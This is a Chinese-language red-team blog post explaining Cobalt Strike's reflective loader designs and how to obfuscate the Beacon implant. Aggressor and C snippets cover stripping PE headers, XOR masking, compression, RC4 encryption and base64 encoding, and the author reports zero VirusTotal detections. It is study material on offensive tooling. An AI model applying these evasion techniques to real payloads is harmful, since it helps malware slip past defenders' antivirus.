Henry's Blog
  • CobaltStrike系列
    • CobaltStrike的基本操作
    • CobaltStrike会话管理
    • CobaltStrike重定向服务
    • CobaltStrike钓鱼攻击
    • 凭据导出与存储
    • Beacon的常用操作
    • DnsBeacon详解
    • 权限提升
    • 简单的内网信息收集
    • Cross2生成LinuxShell
    • CNA插件开发
    • Profile编写规则
    • BOF开发
    • execute-assembly原理
    • Vps搭建可能遇到的问题
  • OPSEC(免杀)
    • BypassPPL
    • Certutil绕过技巧
    • DLL劫持技术(白+黑)
    • PEB伪装
    • PpidSpoofing
    • Python反序列化免杀
    • WebShell绕过技巧
    • mimikatz免杀
    • 利用CobaltStrikeProfile实现免杀
    • 利用Windows异常机制实现Bypass
    • 削弱WindowsDefender
    • 模拟Powershell实现Bypass
    • 浅谈CobaltStrikeUDRL
    • 添加用户和计划任务(Bypass)
    • 移除NtDll的hook
    • 定位修改MsfShellcode特征码实现免杀
    • 利用COM接口实现进程断链执行.md
    • 免杀工具篇
      • Invoke-Obfuscation
      • Shellter
    • 流量检测逃避
      • CobaltStrike流量逃避.md
      • MSF流量加密.md
      • NC反弹Shell流量加密.md
  • Shellcode加密
    • 前置知识
    • XOR加密
    • AES加密
  • Shellcode加载器
    • 常见的加载方式
    • 分离加载
    • 创建纤程加载
    • 动态调用API加载
    • 基于APC注入加载
    • 基于反调试加载
    • 基于回调函数加载
    • 基于线程池加载
    • 模块踩踏
    • 进程镂空注入(傀儡进程)
    • 反射dll注入(内嵌式)
  • Web渗透
    • 信息收集
    • 各类Webshell
    • 基本漏洞利用
    • 远程命令执行漏洞
    • sql注入
    • sqlmap的使用方法
  • 内网渗透
    • 内网渗透前置知识
    • BadUsb制作
    • Linux反弹Shell总结
    • 内网渗透技术总结
    • 横向移动
      • GoToHttp
      • MS14-068
      • PassTheHash
      • PassTheTicket
      • Psexec
      • RustDesk
      • SMB横移
      • WMI横移
      • 用户枚举与爆破
    • 流量加密
      • CobaltStrike流量加密
      • MsfShell流量加密
      • OpenSSL加密反弹shell
  • 协议分析
    • TCP_IP协议
  • 权限提升
    • 土豆提权原理
    • UAC提权
  • 蓝队技术
    • 应急响应流程总结
  • 进程注入
    • Conhost注入
    • session0注入
    • 内核回调表注入
    • 剪切板注入
  • 逆向技术
    • HOOK技术
    • IDA遇到的坑
    • Shellcode的原理与编写
    • Windbg的使用
    • 使用Stardust框架编写Shellcode
    • PeToShellcode
    • 破解系列
      • PUSH窗体大法
      • VM绕过技巧(易语言)
      • Crackme_1
      • 反破解技术
      • 按钮事件特征码
      • 逆向调试符号
      • 破解实例
        • IDA逆向注册码算法
  • 钓鱼技术
    • Flash网页钓鱼
    • LNK钓鱼
    • 自解压程序加载木马
  • 隧道应用
    • 隧道应用前置知识
    • BurpSuite上游代理
    • DNS隧道传输
    • EarthWorm内网穿透
    • Frp内网穿透
    • ICMP隧道传输
    • MsfPortfwd端口转发
    • Neo-reGeorg内网穿透
    • NetCat工具使用
    • Netsh端口转发
    • SSH端口转发
    • 正向连接与反向连接
  • 基础学习
    • C和C++
      • C++编程
      • C程序设计
    • Linux学习
      • Linux Shell编程
      • linux基础
    • Python基础
      • python之Socket编程
      • python之多线程操作
      • python基础
      • python算法技巧
    • Qt基础
      • Qt笔记
    • 逆向基础
      • PE结构
      • Win32
      • 汇编语言
  • 漏洞复现
    • Web漏洞
      • ApacheShiro反序列化漏洞
    • 系统漏洞
      • Linux漏洞
        • ShellShock(CVE-2014-6271)
  • 靶场系列
    • Web靶场
      • pikachu靶场
      • sqli-labs
      • upload-labs
    • 内网靶场
      • Jarbas靶场
      • SickOS靶场
      • W1R3S靶场
      • prime靶场
      • vulnstack靶场系列一
      • vulnstack靶场系列二
      • vulnstack靶场系列四
  • 代码审计
    • PHP代码审计基础
  • 一些杂七杂八的
    • 开发工具与环境
      • Github的使用
      • JSP环境搭建
      • Pycharm设置代码片段
      • VS2017安装番茄助手(破解版)
      • VisualStudio项目模板的使用
      • WindowsServer搭建IIS环境
      • 安装Scoop
      • c++安装vcpkg
      • dotnet-cnblog的安装与使用
      • gitbook使用教程
      • kali安装burpsuite
      • 配置win2012域服务器
      • VSCode配置MinGW
    • 踩坑记录
      • BurpSuite导入证书
      • Powershell禁止执行脚本
      • centos7没有显示ip
      • kali安装pip2
      • oracle12没有scott用户
由 GitBook 提供支持
在本页
  • 前言
  • 内嵌式Loader
  • 实现原理
  • Aggressor脚本实现
  • 前置式Loader
  • 实现原理
  • 源码分析
  • Aggressor脚本实现
  • UDRL混淆
  • 自定义PE头
  • 字符串替换
  • 混淆处理
  • UDRL处理混淆流程
  • UDRL检测
  • 思考和总结
  • 1.对loader的处理
  • 2.更多层的加密?
  1. OPSEC(免杀)

浅谈CobaltStrikeUDRL

上一页模拟Powershell实现Bypass下一页添加用户和计划任务(Bypass)

最后更新于1年前

前言

在阅读这篇文章之前, 我建议读者先掌握一些基础的逆向知识(PE结构、汇编等),其次是掌握反射Dll的加载原理,大家可以先看这两篇文章:和,看完后阅读本次博客的内容可能会比较轻松。

本次博客的主要内容是针对CobaltStrike两篇官方文档的学习分享:和

内嵌式Loader

实现原理

CobaltStrike默认是采用传统的反射loader(),即“内嵌式“loader。Beacon的Dos头存放着调用ReflectiveLoader函数的调用地址,这样做的目的是,当Beacon被执行时,它会立即跳至ReflectiveLoader函数执行,函数执行完毕后返回DLL的入口函数地址

为了更好理解CobaltStrike传统的反射Loader加载原理,我们需先取消掉Profile的所有配置(或者直接不加载Profile),随后将生成Beacon.bin文件放到Pe-bear中反汇编,通过查看其DOS头部分,可整理出其大致流程

  • 使用RIP寻址来获取beacon的基址,然后将beacon的基址存储在RDI寄存器

  • 调用导出的ReflectiveLoader函数(函数地址是0X188D4)

  • 调用已加载Beacon DLL的入口函数

那么我们该如何确定这个0X188D4就是ReflectiveLoader函数的地址呢? 切换至导出表界面, 发现只有一个导出函数, 其RVA地址为194D4, 转换为FOA后即为188D4

这里简单讲解下RVA转FOA的方法:通过查看.text节的RawAddress和VirtualAddress, 它们俩之间的差值为0xC00, RVA减去这个差值后的值即为FOA(194D4-0xC00=0X188D4)

Aggressor脚本实现

从下述Aggressor脚本可发现,通过使用setup_reflective_loader函数来将自定义Loader替换掉Beacon中的默认Loader

前置式Loader

实现原理

将生成的raw文件放入010 Editor中,可以发现前面部分为loader,后面部分为beacon

​

源码分析

1.获取loader和beacon的地址

为了确定ReflectiveLoader的起始地址和结束地址,可使用关键字code_seg来指定哪些部分用于存储特定的功能, 然后通过字母值来对这些部分进行排序

例如下述代码所示,使用了#pragma code_seg(".text$a"),这样表示代码应该被放置在.text段的一个特定子段中,然后链接器会根据$后面的字符进行排序,也就是说,.text$a会在.text$b之前,这样可以确保函数或代码块在链接时按照预期的顺序出现

#pragma code_seg(".text$a")
ULONG_PTR WINAPI ReflectiveLoader(VOID) {
[…SNIP…]
}
#pragma code_seg(".text$b")
[…SNIP…]

​

从上图可知,因为Loader是在Beacon前面,我们只需找到.text$a段就能定位到ReflectiveLoader函数的起始地址

获取到ReflectiveLoader函数地址后,那么接下来就是获取Beacon的起始地址。通过字母值排序代码段可知,code_seg(".text$z")是loader的末尾地址,这里使用LdrEnd()函数地址来表示loader末尾地址,那么,Beacon的起始地址 = Loader的末尾地址 + 1

2.获取系统函数地址

在CobaltStrike的UDRL模板中,使用CompileTimeHash函数替换了StephenFewer ReflectiveLoader所采用的静态哈希值,其使用constexpr关键字来定义函数,表示函数的返回值在编译时时已知的,这就意味着哈希值是在编译阶段生成的,而不是在程序运行时,而且可通过更改HASH_KEY的值可以帮助抵御简单的静态签名

通过使用CompileTimeHash函数可以计算出指定模块名和函数名的哈希值

然后在使用GetProcAddressByHash函数来获取指定函数的地址, 以此方便后续的API调用

3.字符串声明方式

在C\C++中,通常字符串是保存在PE文件的.data节或.rdata节。假如我们要获取某个PE文件的shellcode,那么需在.text节中获取,然而字符串是存储在.data节中,这样一来字符串是无法被提取成shellcode的

首先,我们使用了声明字符串的三种不同方式,网站中已经为我们使用不同颜色来标明对应的代码行了(黄、紫、红)

首先来看String1变量的反汇编(黄色部分),它将逐个字符存储在堆栈中,而不是先创建一个在.data或.rodata节的全局或静态副本然后再复制过来

再来看下String2(紫色部分)变量,注意lea rcx, OFFSET FLAT:$SG2658,这条指令加载字符串"Hello"的地址到rcx寄存器,$SG2657是一个由编译器生成的标签,表示该字符串在.rodata节或类似的只读数据节中的位置,后面的String3(红色部分)变量亦是如此

总结来说,String1变量是可以被提取为shellcode的,因为它没有依赖.data节,而另外两个变量都依赖了.data节

但是使用String1这种声明方法来初始化字符串会很不方便,现在有另外一种可替代的方法,当使用constexpr关键字来初始化char数组时,生成的字符串和String1变量是几乎一样的,如下图所示

为了方便使用,我们将其封装成两个宏,分别用于创建ASCII字符串和宽字符串

#define PIC_STRING(NAME, STRING) constexpr char NAME[]{ STRING }
#define PIC_WSTRING(NAME, STRING) constexpr wchar_t NAME[]{ STRING }

PIC_STRING(example, "[!] Hello World\n");
PRINT(example);

Aggressor脚本实现

以下是前置式loader的aggressor脚本:

UDRL混淆

当UDRL应用到Beacon时,如下所示的stage块中定义的PE修改会被忽略掉,这是因为这些选项与反射加载器的操作紧密关联。例如,当beacon的某些内容以特定方式被加密了,那么我们的加载器需要知道如何去解密这些内容。接下来将讲解如何利用Aggressor脚本来实现对Beacon的混淆

# The following settings are not supported for this UDRL example.
# This UDRL example is using hard coded decisions for some settings
# or completly ignores them.
set allocator    "VirtualAlloc";
set userwx       "true";
set stomppe      "false";
set obfuscate    "false";
set smartinject  "false";
set entry_point  "<ignored>";
set magic_mz_x86 "<ignored>";
set magic_mz_x64 "<ignored>";
set magic_pe     "<ignored>";
set module_x86   "<ignored>";
set module_x64   "<ignored>";

自定义PE头

在Profile配置中,Stage块的某些选项允许用户修改明显的PE文件特征,比如magic_mz,它允许用户自定义4个字节的MZ头,但是当UDRL应用后此功能将不再支持,不过我们可以使用Aggressor脚本去实现此功能,甚至比magic_mz功能更加强大

首先在UDRL中,我们先自定义PE Header结构,在此结构中,我们仅存放PE头结构和节表结构等有效信息。

typedef struct _SECTION_INFORMATION {
	DWORD VirtualAddress;
	DWORD PointerToRawData;
	DWORD SizeOfRawData;
} SECTION_INFORMATION, *PSECTION_INFORMATION;

typedef struct _PE_HEADER_DATA {
	DWORD SizeOfImage;
	DWORD SizeOfHeaders;
	DWORD entryPoint;
	QWORD ImageBase;
	SECTION_INFORMATION Text;
	SECTION_INFORMATION Rdata;
	SECTION_INFORMATION Data;
	SECTION_INFORMATION Pdata;
	SECTION_INFORMATION Reloc;
	DWORD ExportDirectoryRVA;
	DWORD DataDirectoryRVA;
	DWORD RelocDirectoryRVA;
	DWORD RelocDirectorySize;
} PE_HEADER_DATA, *PPE_HEADER_DATA;

在aggressor脚本中,为了对接上述我们自定义的PE Header,我们可以使用pedump函数将原始Beacon的PE头信息映射至一个哈希变量pe_header_map中, 然后将其再打包成一个字节流并赋值给pe_header_data变量

%%pe_header_map = pedump($input_dll);

$pe_header_data = pack(
    "I-I-I-", 
    %pe_header_map["SizeOfImage.<value>"],
    %pe_header_map ["SizeOfHeaders.<value>"],
    %pe_header_map ["AddressOfEntryPoint.<value>"]
); 

为了替换Beacon的原始PE头,我们需先使用substr函数提取PE文件的SECTION部分,然后再将SECTION部分与新创建的pe_header_data进行合并

# 获取原始PE头的大小
$size_of_original_pe_header = %pe_header_map["SizeOfHeaders.<value>"];

# 通过截取原始PE头的大小来获取Section部分的内容
$input_dll_pe_sections = substr($input_dll, $size_of_original_pe_header);

# 将自行创建的PE头与原始Beacon的Section部分进行合并
$modified_beacon = $pe_header_data . $input_dll_pe_sections;

下图是原始Beacon和修改后Beacon的对比图,修改后的Beacon已经将大多数PE特征去除掉了

​

但是这样做会引发另外一个问题,即SECTION部分的起始地址发生了变化。例如,原始Beacon中.text节的PointerToRawData值为0x400,但是当我们移除它的PE头后,.text节的PointerToRawData值需改为0x0,这样我们的loader才能识别到SECTION部分

解决上述问题的最好方法就是修改RAW Beacon的基址,如果将Beacon的基址偏移减去0x400(SizeOfHeaders),那么后续我们就可以继续使用原始的PointerToRawData值

// 获取我们创建的PE头的地址
PPE_HEADER_DATA peHeaderData = (PPE_HEADER_DATA)bufferBaseAddress;

// 获取RAW Beacon的基址
char* rawDllBaseAddress = bufferBaseAddress + sizeof(PE_HEADER_DATA);

// 修改RAW Beacon的基址
rawDllBaseAddress -= peHeaderData->SizeOfHeaders;

除了修改SECTION.PointerToRawData(FOA)之外,还需修改SECTION.VirtualAddress(RVA)。

例如,PE头在内存状态时的大小通常为0x1000,因此我们需将Beacon在加载状态时的基址减去0x1000

loadedDllBaseAddress -= VIRTUAL_SIZE_OF_PE_HEADER;

字符串替换

在Aggressor脚本,若要替换Beacon中的某些字符串,通常会用到strrep函数,但是此函数有个缺点,它可能会更改Beacon某些部分的大小,从而导致PE文件执行时出现崩溃。例如下述代码所示,这样操作会导致原始字符串的大小出现变化

$original = "Hello, world!";
$modified = strrep($original, "world", "Aggressor");
# $modified 现在是 "Hello, Aggressor!"

为了解决这种情况,我们可自定义一个strrep_pad函数,在替换字符串之前先用NULL字节填补它(其实现原理与transform块中的strrep类似)

以下是strrep_pad函数的定义, 目的是替换一个字符串中的特定字节序列,并确保新的字节序列与原始字节序列具有相同的长度。如果新的字节序列较短,它会使用零字节(\x00)进行填充, 此函数有个前提是替换的字符串长度不能大于被替换的字符串长度

sub strrep_pad {
    local('$difference $input_dll $new_byte_sequence $new_byte_sequence_length $new_byte_sequence_padded $original_byte_sequence $original_byte_sequence_length $padding %pe_header_map');
    $input_dll = $1;
    $original_byte_sequence = $2;
    $new_byte_sequence = $3;

    $original_byte_sequence_length = strlen($original_byte_sequence);
    $new_byte_sequence_length = strlen($new_byte_sequence);

    if($new_byte_sequence_length > $original_byte_sequence_length) {
        warn("strrep: input string is too large. exiting .. ");
        return $null;
    } 

    $difference = $original_byte_sequence_length - $new_byte_sequence_length;

    if ($difference != 0) {
        $padding = "\x00" x $difference;
        $new_byte_sequence_padded = $new_byte_sequence . $padding;
    }
    
    return strrep($input_dll, $original_byte_sequence, $new_byte_sequence_padded);
}
# Apply the transformations to the beacon payload.
$temp_dll = setup_transformations($temp_dll, $arch);

混淆处理

1.异或遮掩

sub mask_section {
    local('$key_string $key_length $masked_section $input_dll $section_start_address $section_size $section_name @key_bytes @masked_bytes %pe_header_map');
    
    # 从函数参数中获取值
    $input_dll = $1;  # 输入的DLL文件
    %pe_header_map = $2;  # PE头信息的映射
    $key_string = $3;  # 用于掩码处理的密钥字符串
    $key_length = strlen($key_string);  # 密钥字符串的长度
    $section_name = $4;  # 需要被掩码处理的区段的名称

    # 将密钥字符串拆分成单个字符,并将每个字符转换为其ASCII值
    @key_bytes = map({return asc($1);}, split('', $key_string));

    # 从PE头信息的映射中获取区段的起始地址和大小
    $section_start_address = %pe_header_map[$section_name.".PointerToRawData.<value>"];
    $section_size = %pe_header_map[$section_name.".SizeOfRawData.<value>"];

    # 初始化一个空的掩码字节数组和一个计数变量
    @masked_bytes = @();
    $count = 0;
    
    # 遍历指定区段的每个字节
    for($i = $section_start_address; $i < $section_start_address + $section_size; $i++) {
        # 计算当前字节的索引与密钥长度的模值
        $modulus = $count % $key_length;
        # 使用异或(XOR)操作对原始字节和相应的密钥字节进行掩码处理
        push(@masked_bytes, chr(byteAt($input_dll, $i) ^ @key_bytes[$modulus]));
        # 递增计数变量
        $count++;
    }
    # 将掩码字节数组中的所有字节合并成一个字符串
    $masked_section = join('', @masked_bytes);
    # 将原始DLL文件中的指定区段替换为掩码处理后的区段,并返回处理后的DLL文件
    return replaceAt($input_dll, $masked_section, $section_start_address);
}

至于遮掩所用到的密钥,这里采用随机生成的可变长度密钥

sub generate_random_bytes {
    local('$i @bytes');
    @bytes = @();
    for ($i = 0; $i < $1; $i++) {
        push(@bytes, chr(rand(255)));
    }
    return join('', @bytes);
}

为了确保loader可以检索到这些密钥,我们需将这些密钥的长度值放在PE_HEADER_DATA结构中(自定义PE头),然后在PE_HEADER_DATA后面创建一个缓冲区用于存放密钥

typedef struct _PE_HEADER_DATA {
   […SNIP…]
  DWORD TextSectionXORKeyLength;
  DWORD RdataSectionXORKeyLength;
  DWORD DataSectionXORKeyLength;
} PE_HEADER_DATA, *PPE_HEADER_DATA

​

在UDRL中,我们创建了一个KEY_INFO结构来存储KEY的长度和地址,然后将其集合到XOR_KEYS结构中,表示每个节对应的密钥信息

typedef struct _KEY_INFO {
	size_t KeyLength;
	char* Key;
} KEY_INFO, *PKEY_INFO;

typedef struct _XOR_KEYS {
	KEY_INFO TextSection;
	KEY_INFO RdataSection;
	KEY_INFO DataSection;
} XOR_KEYS, *PXOR_KEYS;

下述代码为loader检索每个节密钥的过程:

PPE_HEADER_DATA peHeaderData = (PPE_HEADER_DATA)rawDllBaseAddress; 
XOR_KEYS xorKeys;
xorKeys.TextSection.key = rawDllBaseAddress + sizeof(PE_HEADER_DATA);
xorKeys.TextSection.keyLength = peHeaderData->TextSectionXORKeyLength;
xorKeys.RdataSection.key = xorKeys.TextSection.key + peHeaderData->TextSectionXORKeyLength;
xorKeys.RdataSection.keyLength = peHeaderData->RdataSectionXORKeyLength;
xorKeys.DataSection.key = xorKeys.RdataSection.key + peHeaderData->RdataSectionXORKeyLength;
xorKeys.DataSection.keyLength = peHeaderData->DataSectionXORKeyLength;

2.压缩数据

CobaltStrike为我们在Sleep语言重写了LZNT1压缩算法,并集合在lznt1.cna的lznt1_compress函数中,我们可以在Aggressor脚本中调用此函数来对遮掩后的Beacon进行压缩

$compressed_buffer = lznt1_compress($pe_header_data . $input_dll_pe_sections, $status);

在UDRL中,我们使用RtlDecompressBuffer函数对数据进行解压缩,其函数原型如下所示

NT_RTL_COMPRESS_API NTSTATUS RtlDecompressBuffer(
  [in]  USHORT CompressionFormat,         // 输入参数: 指定压缩数据的格式,例如 COMPRESSION_FORMAT_LZNT1。
  [out] PUCHAR UncompressedBuffer,        // 输出参数: 指向一个缓冲区,该缓冲区用于存储解压缩后的数据。
  [in]  ULONG  UncompressedBufferSize,    // 输入参数: 指定UncompressedBuffer缓冲区的大小,以字节为单位。
  [in]  PUCHAR CompressedBuffer,          // 输入参数: 指向包含要解压缩的压缩数据的缓冲区。
  [in]  ULONG  CompressedBufferSize,      // 输入参数: 指定CompressedBuffer缓冲区中压缩数据的大小,以字节为单位。
  [out] PULONG FinalUncompressedSize      // 输出参数: 指向一个变量,该变量在函数返回时包含解压缩数据的实际大小
);

由上述函数原型可知,函数的调用需要压缩数据和存放解压缩数据的大小作为参数,此处需注意的是,存放解压缩数据的空间最好大点,从而防止缓冲区溢出报错,因此aggressor脚本中,我们使用原始Beacon的大小来作为存放解压缩数据的大小

# 存放解压缩数据的大小
$raw_file_size = strlen($input_dll);

# 压缩数据的大小
$compressed_buffer = lznt1_compress($pe_header_data . $input_dll_pe_sections, $status);
$compressed_file_size = strlen($compressed_buffer);

# 自定义UDRL头
$udrl_header_data = pack(
    "I-I-I-",
    $compressed_file_size,  # 压缩数据大小
    $raw_file_size,  # 解压缩数据大小
    $loaded_image_size, # 加载beacon的大小
);

由于PE_HEADER_DATA结构已经被压缩了,我们需要在Aggressor脚本中创建一个UDRL_HEADER_DATA来存放压缩数据和解压缩数据的大小值

$udrl_header_data = pack(
    "I-I-I-",
    $compressed_file_size, 
    $raw_file_size,
    $loaded_image_size,
);

​

以下是在UDRL中创建的UDRL_HEADER_DATA结构

typedef struct _UDRL_HEADER_DATA {
    DWORD CompressedSize;  //the size of the compressed artefact
    DWORD RawFileSize;        //the size of the RAW DLL
    DWORD LoadedImageSize; // the size of the loaded image
} UDRL_HEADER_DATA, * PUDRL_HEADER_DATA;

3.RC4加密

Aggressor脚本在此处选择了简单的RC4加密算法,使用随机的生成的rc4密钥并放置于UDRL_HEADER_DATA的后面,在UDRL_HEADER_DATA结构里存放RC4密钥的长度

# rc4加密函数
sub rc4_encrypt {
    # referenced https://gist.github.com/CCob/9dd8de00c2c6ad069301a225589223fa by CCob (_EthicalChaos_)
    local('$cipher $encrypted_buffer $encryption_key $key $plaintext_buffer');
    $plaintext_buffer = $1;
    $encryption_key = $2;

    $cipher = [Cipher getInstance: "RC4"];
    $key = [new SecretKeySpec: $encryption_key, "RC4"];
    [$cipher init: [Cipher ENCRYPT_MODE], $key];
    $encrypted_buffer = [$cipher doFinal: $plaintext_buffer];
    
    return $encrypted_buffer;
}

$rc4_key_length = 11;
$rc4_key = generate_random_bytes($rc4_key_length);
[…SNIP…]

$encrypted_buffer = rc4_encrypt($compressed_buffer, $rc4_key);
$udrl_header_data = pack(
    “I-I-I-I-“,
    $compressed_file_size,
    $raw_file_size,
    $loaded_image_size,
    $rc4_key_length,
);
return $udrl_header_data . $rc4_key . $encrypted_buffer;

​

当loader要检索RC4密钥时,可以在bufferBaseAddress的基础上加上UDRL_HEADER_DATA结构的大小

char* rc4EncryptionKey = bufferBaseAddress + sizeof(UDRL_HEADER_DATA);

4.BASE64编码

在前面的部分中,我们严重地混淆了Beacon,这也使得它的熵值增加,从而容易被检测程序判定为恶意文件,因此我们可以通过使用Base64编码来减少它的熵值(因为Base64只有64个字符字母, 能够减少随机性)

Aggressor提供了一个内置函数base64_encode来进行Base64编码,虽然编码后会增加内容的长度,但是经过测试,混淆/压缩/rc4加密/base64编码后的Beacon和原始Beacon的大小相差不大

# base64_encode shellcode
$b64_encoded_dll = base64_encode($encrypted_buffer);
$b64_file_size = strlen($b64_encoded_dll);

UDRL处理混淆流程

在UDRL中分配两块内存区域,一块作为解密缓冲区(Temporary), 只拥有可读可写权限;另外一块作为加载缓冲区(LoaderImageMemory),拥有可读可写可执行权限,用作后续Beacon的执行

以下是UDRL处理Beacon的完整流程图,可以总结为4个步骤:

  • 1:首先对Beacon进行base64解码,然后将解码后的数据存放至loaderImageMemory

  • 2~3:对LoadedImageMemory的数据进行rc4解密,随后再进行解压缩,数据处理完后放到TemporaryMemory

  • 4:最后一步就是常见的反射加载流程,例如将Beacon的PE头和Section复制到新内存、解析导入、处理重定位等等

UDRL检测

CobaltStrike为我们提供了一个udrl.py脚本,用于检测我们自定义的反射loader是否能够正常加载Beacon,这样做的好处是不用启动Teamserver

udrl.py支持两种检测模式,分别是prepend-udrl和stomp-udrl,脚本的执行格式如下所示:

python.exe .\udrl.py <prepend-udrl/stomp-udrl> <Beacon文件> <反射loader.exe>

例如我要检测自定义的前置式loader能否正常使用,那么第一个参数需填写为prepend-udrl,如下图所示则表示loader能够正常运行,并返回了loader的大小以及加载Beacon的起始地址

若要检测内嵌式loader是否可正常运行,需将第一个参数改为stomp-udrl

思考和总结

1.对loader的处理

当我们加载UDRL混淆的Aggressor脚本后,将生成的Raw文件上传至VT上,没有出现任何报毒,当然,要实现RAW在VT上全零不靠UDRL也行,这只是其中的一个思路

2.更多层的加密?

在CobaltStrike官方给出的UDRL混淆项目中,其实只用到了四层混淆(xor加密、压缩、rc4加密和base64编码),我们或许可以在其基础上再增添几层加密,虽然意义不是很大^^

是替代传统反射loader的另外一个项目,与传统反射loader不同的是,它没有将ReflectiveLoader函数编译到DLL中,而是放在DLL的前面,因此这也被称为“前置式loader”,这种方式最大的优点是能够反射加载任意PE文件,以下是“内嵌式loader”和“前置式loader”的对比图

为了更加直观的展示上述所描述的观点,我们使用网站来查看代码的反汇编形式。

你也可以使用Aggressor的内置函数,来将Profile配置中transform块定义的规则应用到Payload上

使用如下自定义函数mask_section可以对指定SECTION部分的内容进行异或遮掩。除此之外,Aggressor还提供了一个内置函数函数用于遮掩指定SECTION部分

但是如果你一直使用CobaltStrike提供的混淆反射loader,报毒也是迟早的事情,解决方法也很简单,这里推荐一个混淆二进制文件的项目:,我们只需对反射loader的bin文件进行混淆处理,以下是Shoggoth处理loader前后的对比图

Double Pulsar
Compiler Explorer
setup_transformation
pe_mask_section
Shoggoth
反射Dll原理
Shellcode原理
UDRL简单开发
UDRL混淆遮掩
stephenfewer
UDRL_14.png
image-20231021193713885
image-20231021194009909
image-20231027153912057
image-20231026163819323
image-20231102200709345
img
image-20231026201315922
image-20231026201600987
image-20231026202225728
image-20231026210004946
image-20231026210922037
image-20231026211907751
image-20231027104610806
image-20231027113459880
image-20231027154240991
img
img
img
img
压缩、加密和编码后修改后的制品的高级概述。
解码/解密/解压缩工作流程。
image-20231101011012178
image-20231101014454106
image-20231102203720729
image-20231102211819813